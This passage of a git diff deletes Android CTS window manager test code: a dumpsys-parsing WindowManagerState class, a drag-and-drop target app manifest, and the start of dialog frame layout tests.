- final WindowState ws = WindowState.create(mSysDump, sExtractStackExitPatterns);
- if (ws != null) {
- log(ws.toString());
-
- // Check to see if we are in the middle of transitioning. If we are, we want to
- // skip dumping until window manager is done transitioning windows.
- if (ws.isStartingWindow()) {
- log("Skipping dump due to starting window transition...");
- return;
- }
-
- if (ws.isExitingWindow()) {
- log("Skipping dump due to exiting window transition...");
- return;
- }
-
- mWindowStates.add(ws);
- continue;
- }
-
- final String line = mSysDump.pop().trim();
-
- Matcher matcher = sFocusedWindowPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String focusedWindow = matcher.group(3);
- log(focusedWindow);
- mFocusedWindow = focusedWindow;
- continue;
- }
-
- matcher = sAppErrorFocusedWindowPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String focusedWindow = matcher.group(3);
- log(focusedWindow);
- mFocusedWindow = focusedWindow;
- continue;
- }
-
- matcher = sWaitingForDebuggerFocusedWindowPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String focusedWindow = matcher.group(3);
- log(focusedWindow);
- mFocusedWindow = focusedWindow;
- continue;
- }
-
- matcher = sFocusedAppPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String focusedApp = matcher.group(5);
- log(focusedApp);
- mFocusedApp = focusedApp;
- continue;
- }
-
- matcher = sAppTransitionStatePattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String appTransitionState = matcher.group(1);
- log(appTransitionState);
- mAppTransitionState = appTransitionState;
- continue;
- }
-
- matcher = sLastAppTransitionPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String lastAppTransitionPattern = matcher.group(1);
- log(lastAppTransitionPattern);
- mLastTransition = lastAppTransitionPattern;
- continue;
- }
-
- matcher = sStableBoundsPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- int left = Integer.parseInt(matcher.group(1));
- int top = Integer.parseInt(matcher.group(2));
- int right = Integer.parseInt(matcher.group(3));
- int bottom = Integer.parseInt(matcher.group(4));
- mStableBounds.setBounds(left, top, right - left, bottom - top);
- log(mStableBounds.toString());
- continue;
- }
-
- matcher = sDefaultPinnedStackBoundsPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- int left = Integer.parseInt(matcher.group(1));
- int top = Integer.parseInt(matcher.group(2));
- int right = Integer.parseInt(matcher.group(3));
- int bottom = Integer.parseInt(matcher.group(4));
- mDefaultPinnedStackBounds.setBounds(left, top, right - left, bottom - top);
- log(mDefaultPinnedStackBounds.toString());
- continue;
- }
-
- matcher = sPinnedStackMovementBoundsPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- int left = Integer.parseInt(matcher.group(1));
- int top = Integer.parseInt(matcher.group(2));
- int right = Integer.parseInt(matcher.group(3));
- int bottom = Integer.parseInt(matcher.group(4));
- mPinnedStackMovementBounds.setBounds(left, top, right - left, bottom - top);
- log(mPinnedStackMovementBounds.toString());
- continue;
- }
-
- matcher = sInputMethodWindowPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mInputMethodWindowAppToken = matcher.group(1);
- log(mInputMethodWindowAppToken);
- continue;
- }
-
- matcher = sRotationPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mRotation = Integer.parseInt(matcher.group(1));
- continue;
- }
-
- matcher = sLastOrientationPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mLastOrientation = Integer.parseInt(matcher.group(1));
- continue;
- }
-
- matcher = sDisplayFrozenPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mDisplayFrozen = Boolean.parseBoolean(matcher.group(1));
- continue;
- }
-
- matcher = sDockedStackMinimizedPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mIsDockedStackMinimized = Boolean.parseBoolean(matcher.group(1));
- continue;
- }
- }
- }
-
- void getMatchingWindowTokens(final String windowName, List<String> tokenList) {
- tokenList.clear();
-
- for (WindowState ws : mWindowStates) {
- if (windowName.equals(ws.getName())) {
- tokenList.add(ws.getToken());
- }
- }
- }
-
- void getMatchingVisibleWindowState(final String windowName, List<WindowState> windowList) {
- windowList.clear();
- for (WindowState ws : mWindowStates) {
- if (ws.isShown() && windowName.equals(ws.getName())) {
- windowList.add(ws);
- }
- }
- }
-
- void getPrefixMatchingVisibleWindowState(final String windowName, List<WindowState> windowList) {
- windowList.clear();
- for (WindowState ws : mWindowStates) {
- if (ws.isShown() && ws.getName().startsWith(windowName)) {
- windowList.add(ws);
- }
- }
- }
-
- WindowState getWindowByPackageName(String packageName, int windowType) {
- for (WindowState ws : mWindowStates) {
- final String name = ws.getName();
- if (name == null || !name.contains(packageName)) {
- continue;
- }
- if (windowType != ws.getType()) {
- continue;
- }
- return ws;
- }
-
- return null;
- }
-
- void getWindowsByPackageName(String packageName, List<Integer> restrictToTypeList,
- List<WindowState> outWindowList) {
- outWindowList.clear();
- for (WindowState ws : mWindowStates) {
- final String name = ws.getName();
- if (name == null || !name.contains(packageName)) {
- continue;
- }
- if (restrictToTypeList != null && !restrictToTypeList.contains(ws.getType())) {
- continue;
- }
- outWindowList.add(ws);
- }
- }
-
- void sortWindowsByLayer(List<WindowState> windows) {
- windows.sort(Comparator.comparingInt(WindowState::getLayer));
- }
-
- WindowState getWindowStateForAppToken(String appToken) {
- for (WindowState ws : mWindowStates) {
- if (ws.getToken().equals(appToken)) {
- return ws;
- }
- }
- return null;
- }
-
- Display getDisplay(int displayId) {
- for (Display display : mDisplays) {
- if (displayId == display.getDisplayId()) {
- return display;
- }
- }
- return null;
- }
-
- String getFrontWindow() {
- if (mWindowStates == null || mWindowStates.isEmpty()) {
- return null;
- }
- return mWindowStates.get(0).getName();
- }
-
- String getFocusedWindow() {
- return mFocusedWindow;
- }
-
- String getFocusedApp() {
- return mFocusedApp;
- }
-
- String getLastTransition() {
- return mLastTransition;
- }
-
- String getAppTransitionState() {
- return mAppTransitionState;
- }
-
- int getFrontStackId(int displayId) {
- return mDisplayStacks.get(displayId).get(0).mStackId;
- }
-
- public int getRotation() {
- return mRotation;
- }
-
- int getLastOrientation() {
- return mLastOrientation;
- }
-
- boolean containsStack(int stackId) {
- for (WindowStack stack : mStacks) {
- if (stackId == stack.mStackId) {
- return true;
- }
- }
- return false;
- }
-
- /** Check if there exists a window record with matching windowName. */
- boolean containsWindow(String windowName) {
- for (WindowState window : mWindowStates) {
- if (window.getName().equals(windowName)) {
- return true;
- }
- }
- return false;
- }
-
- /** Check if at least one window which matches provided window name is visible. */
- boolean isWindowVisible(String windowName) {
- for (WindowState window : mWindowStates) {
- if (window.getName().equals(windowName)) {
- if (window.isShown()) {
- return true;
- }
- }
- }
- return false;
- }
-
- boolean allWindowsVisible(String windowName) {
- boolean allVisible = false;
- for (WindowState window : mWindowStates) {
- if (window.getName().equals(windowName)) {
- if (!window.isShown()) {
- log("[VISIBLE] not visible" + windowName);
- return false;
- }
- log("[VISIBLE] visible" + windowName);
- allVisible = true;
- }
- }
- return allVisible;
- }
-
- WindowStack getStack(int stackId) {
- for (WindowStack stack : mStacks) {
- if (stackId == stack.mStackId) {
- return stack;
- }
- }
- return null;
- }
-
-
- int getStackPosition(int stackId) {
- for (int i = 0; i < mStacks.size(); i++) {
- if (stackId == mStacks.get(i).mStackId) {
- return i;
- }
- }
- return -1;
- }
-
- WindowState getInputMethodWindowState() {
- return getWindowStateForAppToken(mInputMethodWindowAppToken);
- }
-
- Rectangle getStableBounds() {
- return mStableBounds;
- }
-
- Rectangle getDefaultPinnedStackBounds() {
- return mDefaultPinnedStackBounds;
- }
-
- Rectangle getPinnedStackMomentBounds() {
- return mPinnedStackMovementBounds;
- }
-
- WindowState findFirstWindowWithType(int type) {
- for (WindowState window : mWindowStates) {
- if (window.getType() == type) {
- return window;
- }
- }
- return null;
- }
-
- public boolean isDisplayFrozen() {
- return mDisplayFrozen;
- }
-
- public boolean isDockedStackMinimized() {
- return mIsDockedStackMinimized;
- }
-
- private void reset() {
- mSysDump.clear();
- mStacks.clear();
- mDisplays.clear();
- mWindowStates.clear();
- mFocusedWindow = null;
- mFocusedApp = null;
- mInputMethodWindowAppToken = null;
- }
-
- static class WindowStack extends WindowContainer {
-
- private static final Pattern sTaskIdPattern = Pattern.compile("taskId=(\\d+)");
- private static final Pattern sWindowAnimationBackgroundSurfacePattern =
- Pattern.compile("mWindowAnimationBackgroundSurface:");
-
- int mStackId;
- ArrayList<WindowTask> mTasks = new ArrayList();
- boolean mWindowAnimationBackgroundSurfaceShowing;
-
- private WindowStack() {
-
- }
-
- static WindowStack create(
- LinkedList<String> dump, Pattern stackIdPattern, Pattern[] exitPatterns) {
- final String line = dump.peek().trim();
-
- final Matcher matcher = stackIdPattern.matcher(line);
- if (!matcher.matches()) {
- // Not a stack.
- return null;
- }
- // For the stack Id line we just read.
- dump.pop();
-
- final WindowStack stack = new WindowStack();
- log(line);
- final String stackId = matcher.group(1);
- log(stackId);
- stack.mStackId = Integer.parseInt(stackId);
- stack.extract(dump, exitPatterns);
- return stack;
- }
-
- void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
- final List<Pattern> taskExitPatterns = new ArrayList();
- Collections.addAll(taskExitPatterns, exitPatterns);
- taskExitPatterns.add(sTaskIdPattern);
- taskExitPatterns.add(sWindowAnimationBackgroundSurfacePattern);
- final Pattern[] taskExitPatternsArray =
- taskExitPatterns.toArray(new Pattern[taskExitPatterns.size()]);
-
- while (!doneExtracting(dump, exitPatterns)) {
- final WindowTask task =
- WindowTask.create(dump, sTaskIdPattern, taskExitPatternsArray);
-
- if (task != null) {
- mTasks.add(task);
- continue;
- }
-
- final String line = dump.pop().trim();
-
- if (extractFullscreen(line)) {
- continue;
- }
-
- if (extractBounds(line)) {
- continue;
- }
-
- if (extractWindowAnimationBackgroundSurface(line)) {
- continue;
- }
- }
- }
-
- boolean extractWindowAnimationBackgroundSurface(String line) {
- if (sWindowAnimationBackgroundSurfacePattern.matcher(line).matches()) {
- log(line);
- mWindowAnimationBackgroundSurfaceShowing = true;
- return true;
- }
- return false;
- }
-
- WindowTask getTask(int taskId) {
- for (WindowTask task : mTasks) {
- if (taskId == task.mTaskId) {
- return task;
- }
- }
- return null;
- }
-
- boolean isWindowAnimationBackgroundSurfaceShowing() {
- return mWindowAnimationBackgroundSurfaceShowing;
- }
- }
-
- static class WindowTask extends WindowContainer {
- private static final Pattern sTempInsetBoundsPattern =
- Pattern.compile("mTempInsetBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
-
- private static final Pattern sAppTokenPattern = Pattern.compile(
- "Activity #(\\d+) AppWindowToken\\{(\\S+) token=Token\\{(\\S+) "
- + "ActivityRecord\\{(\\S+) u(\\d+) (\\S+) t(\\d+)\\}\\}\\}");
-
-
- int mTaskId;
- Rectangle mTempInsetBounds;
- List<String> mAppTokens = new ArrayList();
-
- private WindowTask() {
- }
-
- static WindowTask create(
- LinkedList<String> dump, Pattern taskIdPattern, Pattern[] exitPatterns) {
- final String line = dump.peek().trim();
-
- final Matcher matcher = taskIdPattern.matcher(line);
- if (!matcher.matches()) {
- // Not a task.
- return null;
- }
- // For the task Id line we just read.
- dump.pop();
-
- final WindowTask task = new WindowTask();
- log(line);
- final String taskId = matcher.group(1);
- log(taskId);
- task.mTaskId = Integer.parseInt(taskId);
- task.extract(dump, exitPatterns);
- return task;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
- while (!doneExtracting(dump, exitPatterns)) {
- final String line = dump.pop().trim();
-
- if (extractFullscreen(line)) {
- continue;
- }
-
- if (extractBounds(line)) {
- continue;
- }
-
- Matcher matcher = sTempInsetBoundsPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mTempInsetBounds = extractBounds(matcher);
- }
-
- matcher = sAppTokenPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String appToken = matcher.group(6);
- log(appToken);
- mAppTokens.add(appToken);
- continue;
- }
- }
- }
- }
-
- static abstract class WindowContainer {
- protected static final Pattern sFullscreenPattern = Pattern.compile("mFillsParent=(\\S+)");
- protected static final Pattern sBoundsPattern =
- Pattern.compile("mBounds=\\[(-?\\d+),(-?\\d+)\\]\\[(-?\\d+),(-?\\d+)\\]");
-
- protected boolean mFullscreen;
- protected Rectangle mBounds;
-
- static boolean doneExtracting(LinkedList<String> dump, Pattern[] exitPatterns) {
- if (dump.isEmpty()) {
- return true;
- }
- final String line = dump.peek().trim();
-
- for (Pattern pattern : exitPatterns) {
- if (pattern.matcher(line).matches()) {
- return true;
- }
- }
- return false;
- }
-
- boolean extractFullscreen(String line) {
- final Matcher matcher = sFullscreenPattern.matcher(line);
- if (!matcher.matches()) {
- return false;
- }
- log(line);
- final String fullscreen = matcher.group(1);
- log(fullscreen);
- mFullscreen = Boolean.valueOf(fullscreen);
- return true;
- }
-
- boolean extractBounds(String line) {
- final Matcher matcher = sBoundsPattern.matcher(line);
- if (!matcher.matches()) {
- return false;
- }
- log(line);
- mBounds = extractBounds(matcher);
- return true;
- }
-
- static Rectangle extractBounds(Matcher matcher) {
- final int left = Integer.valueOf(matcher.group(1));
- final int top = Integer.valueOf(matcher.group(2));
- final int right = Integer.valueOf(matcher.group(3));
- final int bottom = Integer.valueOf(matcher.group(4));
- final Rectangle rect = new Rectangle(left, top, right - left, bottom - top);
-
- log(rect.toString());
- return rect;
- }
-
- static void extractMultipleBounds(Matcher matcher, int groupIndex, Rectangle... rectList) {
- for (Rectangle rect : rectList) {
- if (rect == null) {
- return;
- }
- final int left = Integer.valueOf(matcher.group(groupIndex++));
- final int top = Integer.valueOf(matcher.group(groupIndex++));
- final int right = Integer.valueOf(matcher.group(groupIndex++));
- final int bottom = Integer.valueOf(matcher.group(groupIndex++));
- rect.setBounds(left, top, right - left, bottom - top);
- }
- }
-
- Rectangle getBounds() {
- return mBounds;
- }
-
- boolean isFullscreen() {
- return mFullscreen;
- }
- }
-
- static class Display extends WindowContainer {
- private static final String TAG = "[Display] ";
-
- private static final Pattern sDisplayInfoPattern =
- Pattern.compile("(.+) (\\d+)dpi cur=(\\d+)x(\\d+) app=(\\d+)x(\\d+) (.+)");
-
- private final int mDisplayId;
- private Rectangle mDisplayRect = new Rectangle();
- private Rectangle mAppRect = new Rectangle();
- private int mDpi;
-
- private Display(int displayId) {
- mDisplayId = displayId;
- }
-
- int getDisplayId() {
- return mDisplayId;
- }
-
- int getDpi() {
- return mDpi;
- }
-
- Rectangle getDisplayRect() {
- return mDisplayRect;
- }
-
- Rectangle getAppRect() {
- return mAppRect;
- }
-
- static Display create(LinkedList<String> dump, Pattern[] exitPatterns) {
- // TODO: exit pattern for displays?
- final String line = dump.peek().trim();
-
- Matcher matcher = sDisplayIdPattern.matcher(line);
- if (!matcher.matches()) {
- return null;
- }
-
- log(TAG + "DISPLAY_ID: " + line);
- dump.pop();
-
- final int displayId = Integer.valueOf(matcher.group(1));
- final Display display = new Display(displayId);
- display.extract(dump, exitPatterns);
- return display;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
- while (!doneExtracting(dump, exitPatterns)) {
- final String line = dump.pop().trim();
-
- final Matcher matcher = sDisplayInfoPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "DISPLAY_INFO: " + line);
- mDpi = Integer.valueOf(matcher.group(2));
-
- final int displayWidth = Integer.valueOf(matcher.group(3));
- final int displayHeight = Integer.valueOf(matcher.group(4));
- mDisplayRect.setBounds(0, 0, displayWidth, displayHeight);
-
- final int appWidth = Integer.valueOf(matcher.group(5));
- final int appHeight = Integer.valueOf(matcher.group(6));
- mAppRect.setBounds(0, 0, appWidth, appHeight);
-
- // break as we don't need other info for now
- break;
- }
- // Extract other info here if needed
- }
- }
-
- @Override
- public String toString() {
- return "Display #" + mDisplayId + ": mDisplayRect=" + mDisplayRect
- + " mAppRect=" + mAppRect;
- }
- }
-
- public static class WindowState extends WindowContainer {
- private static final String TAG = "[WindowState] ";
-
- public static final int TYPE_WALLPAPER = 2013;
-
- private static final int WINDOW_TYPE_NORMAL = 0;
- private static final int WINDOW_TYPE_STARTING = 1;
- private static final int WINDOW_TYPE_EXITING = 2;
- private static final int WINDOW_TYPE_DEBUGGER = 3;
-
- private static final String RECT_STR = "\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]";
- private static final String NEGATIVE_VALUES_ALLOWED_RECT_STR =
- "\\[([-\\d]+),([-\\d]+)\\]\\[([-\\d]+),([-\\d]+)\\]";
- private static final Pattern sMainFramePattern = Pattern.compile("mFrame=" + RECT_STR + ".+");
- private static final Pattern sFramePattern =
- Pattern.compile("Frames: containing=" + RECT_STR + " parent=" + RECT_STR);
- private static final Pattern sContentFramePattern =
- Pattern.compile("content=" + RECT_STR + " .+");
- private static final Pattern sWindowAssociationPattern =
- Pattern.compile("mDisplayId=(\\d+) stackId=(\\d+) (.+)");
- private static final Pattern sSurfaceInsetsPattern =
- Pattern.compile("Cur insets.+surface=" + RECT_STR + ".+");
- private static final Pattern sContentInsetsPattern =
- Pattern.compile("Cur insets.+content=" + NEGATIVE_VALUES_ALLOWED_RECT_STR + ".+");
- private static final Pattern sGivenContentInsetsPattern =
- Pattern.compile("mGivenContentInsets=" + RECT_STR + ".+");
- private static final Pattern sCropPattern =
- Pattern.compile(".+mLastClipRect=" + RECT_STR + ".*");
- private static final Pattern sSurfacePattern =
- Pattern.compile("Surface: shown=(\\S+) layer=(\\d+) alpha=[\\d.]+ rect=\\([\\d.-]+,[\\d.-]+\\) [\\d.]+ x [\\d.]+.*");
- private static final Pattern sAttrsPattern=
- Pattern.compile("mAttrs=WM\\.LayoutParams\\{.*ty=(\\d+).*\\}");
-
-
- private final String mName;
- private final String mAppToken;
- private final int mWindowType;
- private int mType;
- private int mDisplayId;
- private int mStackId;
- private int mLayer;
- private boolean mShown;
- private Rectangle mContainingFrame = new Rectangle();
- private Rectangle mParentFrame = new Rectangle();
- private Rectangle mContentFrame = new Rectangle();
- private Rectangle mFrame = new Rectangle();
- private Rectangle mSurfaceInsets = new Rectangle();
- private Rectangle mContentInsets = new Rectangle();
- private Rectangle mGivenContentInsets = new Rectangle();
- private Rectangle mCrop = new Rectangle();
-
-
- private WindowState(Matcher matcher, int windowType) {
- mName = matcher.group(4);
- mAppToken = matcher.group(2);
- mWindowType = windowType;
- }
-
- public String getName() {
- return mName;
- }
-
- String getToken() {
- return mAppToken;
- }
-
- boolean isStartingWindow() {
- return mWindowType == WINDOW_TYPE_STARTING;
- }
-
- boolean isExitingWindow() {
- return mWindowType == WINDOW_TYPE_EXITING;
- }
-
- boolean isDebuggerWindow() {
- return mWindowType == WINDOW_TYPE_DEBUGGER;
- }
-
- int getDisplayId() {
- return mDisplayId;
- }
-
- int getStackId() {
- return mStackId;
- }
-
- int getLayer() {
- return mLayer;
- }
-
- Rectangle getContainingFrame() {
- return mContainingFrame;
- }
-
- Rectangle getFrame() {
- return mFrame;
- }
-
- Rectangle getSurfaceInsets() {
- return mSurfaceInsets;
- }
-
- Rectangle getContentInsets() {
- return mContentInsets;
- }
-
- Rectangle getGivenContentInsets() {
- return mGivenContentInsets;
- }
-
- Rectangle getContentFrame() {
- return mContentFrame;
- }
-
- Rectangle getParentFrame() {
- return mParentFrame;
- }
-
- Rectangle getCrop() {
- return mCrop;
- }
-
- boolean isShown() {
- return mShown;
- }
-
- int getType() {
- return mType;
- }
-
- static WindowState create(LinkedList<String> dump, Pattern[] exitPatterns) {
- final String line = dump.peek().trim();
-
- Matcher matcher = sWindowPattern.matcher(line);
- if (!matcher.matches()) {
- return null;
- }
-
- log(TAG + "WINDOW: " + line);
- dump.pop();
-
- final WindowState window;
- Matcher specialMatcher;
- if ((specialMatcher = sStartingWindowPattern.matcher(line)).matches()) {
- log(TAG + "STARTING: " + line);
- window = new WindowState(specialMatcher, WINDOW_TYPE_STARTING);
- } else if ((specialMatcher = sExitingWindowPattern.matcher(line)).matches()) {
- log(TAG + "EXITING: " + line);
- window = new WindowState(specialMatcher, WINDOW_TYPE_EXITING);
- } else if ((specialMatcher = sDebuggerWindowPattern.matcher(line)).matches()) {
- log(TAG + "DEBUGGER: " + line);
- window = new WindowState(specialMatcher, WINDOW_TYPE_DEBUGGER);
- } else {
- window = new WindowState(matcher, WINDOW_TYPE_NORMAL);
- }
-
- window.extract(dump, exitPatterns);
- return window;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
- while (!doneExtracting(dump, exitPatterns)) {
- final String line = dump.pop().trim();
-
- Matcher matcher = sWindowAssociationPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "WINDOW_ASSOCIATION: " + line);
- mDisplayId = Integer.valueOf(matcher.group(1));
- mStackId = Integer.valueOf(matcher.group(2));
- continue;
- }
-
- matcher = sMainFramePattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "MAIN WINDOW FRAME: " + line);
- mFrame = extractBounds(matcher);
- continue;
- }
-
- matcher = sFramePattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "FRAME: " + line);
- extractMultipleBounds(matcher, 1, mContainingFrame, mParentFrame);
- continue;
- }
-
- matcher = sContentFramePattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "CONTENT FRAME: " + line);
- mContentFrame = extractBounds(matcher);
- }
-
- matcher = sSurfaceInsetsPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "INSETS: " + line);
- mSurfaceInsets = extractBounds(matcher);
- }
-
- matcher = sContentInsetsPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "CONTENT INSETS: " + line);
- mContentInsets = extractBounds(matcher);
- }
-
- matcher = sCropPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "CROP: " + line);
- mCrop = extractBounds(matcher);
- }
-
- matcher = sSurfacePattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "SURFACE: " + line);
- mShown = Boolean.valueOf(matcher.group(1));
- mLayer = Integer.valueOf(matcher.group(2));
- }
-
- matcher = sAttrsPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "ATTRS: " + line);
- mType = Integer.valueOf(matcher.group(1));
- }
-
- matcher = sGivenContentInsetsPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "GIVEN CONTENT INSETS: " + line);
- mGivenContentInsets = extractBounds(matcher);
- }
-
- // Extract other info here if needed
- }
- }
-
- private static String getWindowTypeSuffix(int windowType) {
- switch (windowType) {
- case WINDOW_TYPE_STARTING: return " STARTING";
- case WINDOW_TYPE_EXITING: return " EXITING";
- case WINDOW_TYPE_DEBUGGER: return " DEBUGGER";
- default: break;
- }
- return "";
- }
-
- @Override
- public String toString() {
- return "WindowState: {" + mAppToken + " " + mName
- + getWindowTypeSuffix(mWindowType) + "}" + " type=" + mType
- + " cf=" + mContainingFrame + " pf=" + mParentFrame;
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/AndroidManifest.xml
deleted file mode 100644
index ed7b9c2..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/AndroidManifest.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.wm.cts.dndtargetapp">
- <application android:label="CtsDnDTarget">
- <activity android:name="android.wm.cts.dndtargetapp.DropTarget">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
- </application>
-</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
deleted file mode 100644
index c99f001..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
+++ /dev/null
@@ -1,215 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import java.util.List;
-import java.util.ArrayList;
-import java.awt.Rectangle;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import android.server.cts.WindowManagerState.WindowState;
-
-public class DialogFrameTests extends ParentChildTestBase {
- private List<WindowState> mWindowList = new ArrayList();
-
- @Override
- String intentKey() {
- return "android.server.FrameTestApp.DialogTestCase";
- }
-
- @Override
- String activityName() {
- return "DialogTestActivity";
- }
-
- WindowState getSingleWindow(String windowName) {
- try {
- mAmWmState.getWmState().getMatchingVisibleWindowState(
- getBaseWindowName() + windowName, mWindowList);
- return mWindowList.get(0);
- } catch (Exception e) {
- CLog.logAndDisplay(LogLevel.INFO, "Couldn't find window: " + windowName);
- return null;
- }
- }
-
- void doSingleTest(ParentChildTest t) throws Exception {
- final String[] waitForVisible = new String[] { "TestDialog" };
-
- mAmWmState.computeState(mDevice, waitForVisible);
- WindowState dialog = getSingleWindow("TestDialog");
- WindowState parent = getSingleWindow("DialogTestActivity");
-
- t.doTest(parent, dialog);
- }
-
- // With Width and Height as MATCH_PARENT we should fill
- // the same content frame as the main activity window
- public void testMatchParentDialog() throws Exception {
- doParentChildTest("MatchParent",
- (WindowState parent, WindowState dialog) -> {
- assertEquals(parent.getContentFrame(), dialog.getFrame());
- });
- }
-
- // If we have LAYOUT_IN_SCREEN and LAYOUT_IN_OVERSCAN with MATCH_PARENT,
- // we will not be constrained to the insets and so we will be the same size
- // as the main window main frame.
- public void testMatchParentDialogLayoutInOverscan() throws Exception {
- doParentChildTest("MatchParentLayoutInOverscan",
- (WindowState parent, WindowState dialog) -> {
- assertEquals(parent.getFrame(), dialog.getFrame());
- });
- }
-
- static final int explicitDimension = 200;
-
- // The default gravity for dialogs should center them.
- public void testExplicitSizeDefaultGravity() throws Exception {
- doParentChildTest("ExplicitSize",
- (WindowState parent, WindowState dialog) -> {
- Rectangle contentFrame = parent.getContentFrame();
- Rectangle expectedFrame = new Rectangle(
- contentFrame.x + (contentFrame.width - explicitDimension)/2,
- contentFrame.y + (contentFrame.height - explicitDimension)/2,
- explicitDimension, explicitDimension);
- assertEquals(expectedFrame, dialog.getFrame());
- });
- }
-
- public void testExplicitSizeTopLeftGravity() throws Exception {
- doParentChildTest("ExplicitSizeTopLeftGravity",
- (WindowState parent, WindowState dialog) -> {
- Rectangle contentFrame = parent.getContentFrame();
- Rectangle expectedFrame = new Rectangle(
- contentFrame.x,
- contentFrame.y,
- explicitDimension,
- explicitDimension);
- assertEquals(expectedFrame, dialog.getFrame());
- });
- }
-
- public void testExplicitSizeBottomRightGravity() throws Exception {
- doParentChildTest("ExplicitSizeBottomRightGravity",
- (WindowState parent, WindowState dialog) -> {
- Rectangle contentFrame = parent.getContentFrame();
- Rectangle expectedFrame = new Rectangle(
- contentFrame.x + contentFrame.width - explicitDimension,
- contentFrame.y + contentFrame.height - explicitDimension,
- explicitDimension, explicitDimension);
- assertEquals(expectedFrame, dialog.getFrame());
- });
- }
-
- // TODO: Commented out for now because it doesn't work. We end up
- // insetting the decor on the bottom. I think this is a bug
- // probably in the default dialog flags:
- // b/30127373
- // public void testOversizedDimensions() throws Exception {
- // doParentChildTest("OversizedDimensions",
- // (WindowState parent, WindowState dialog) -> {
- // With the default flags oversize should result in clipping to
- // parent frame.
- // assertEquals(parent.getContentFrame(), dialog.getFrame());
- // });
- // }
-
- // TODO(b/63993863) : Disabled pending public API to fetch maximum surface size.
- // static final int oversizedDimension = 5000;
- // With FLAG_LAYOUT_NO_LIMITS we should get the size we request, even if its much
- // larger than the screen.
- // public void testOversizedDimensionsNoLimits() throws Exception {
- // TODO(b/36890978): We only run this in fullscreen because of the
- // unclear status of NO_LIMITS for non-child surfaces in MW modes
- // doFullscreenTest("OversizedDimensionsNoLimits",
- // (WindowState parent, WindowState dialog) -> {
- // Rectangle contentFrame = parent.getContentFrame();
- // Rectangle expectedFrame = new Rectangle(contentFrame.x, contentFrame.y,
- // oversizedDimension, oversizedDimension);
- // assertEquals(expectedFrame, dialog.getFrame());
- // });
- // }
-
- // If we request the MATCH_PARENT and a non-zero position, we wouldn't be
- // able to fit all of our content, so we should be adjusted to just fit the
- // content frame.
- public void testExplicitPositionMatchParent() throws Exception {
- doParentChildTest("ExplicitPositionMatchParent",
- (WindowState parent, WindowState dialog) -> {
- assertEquals(parent.getContentFrame(),
- dialog.getFrame());
- });
- }
-
- // Unless we pass NO_LIMITS in which case our requested position should
- // be honored.
- public void testExplicitPositionMatchParentNoLimits() throws Exception {
- final int explicitPosition = 100;
- doParentChildTest("ExplicitPositionMatchParentNoLimits",
- (WindowState parent, WindowState dialog) -> {
- Rectangle contentFrame = parent.getContentFrame();
- Rectangle expectedFrame = new Rectangle(contentFrame.x + explicitPosition,
- contentFrame.y + explicitPosition,
- contentFrame.width,
- contentFrame.height);
- });
- }
-
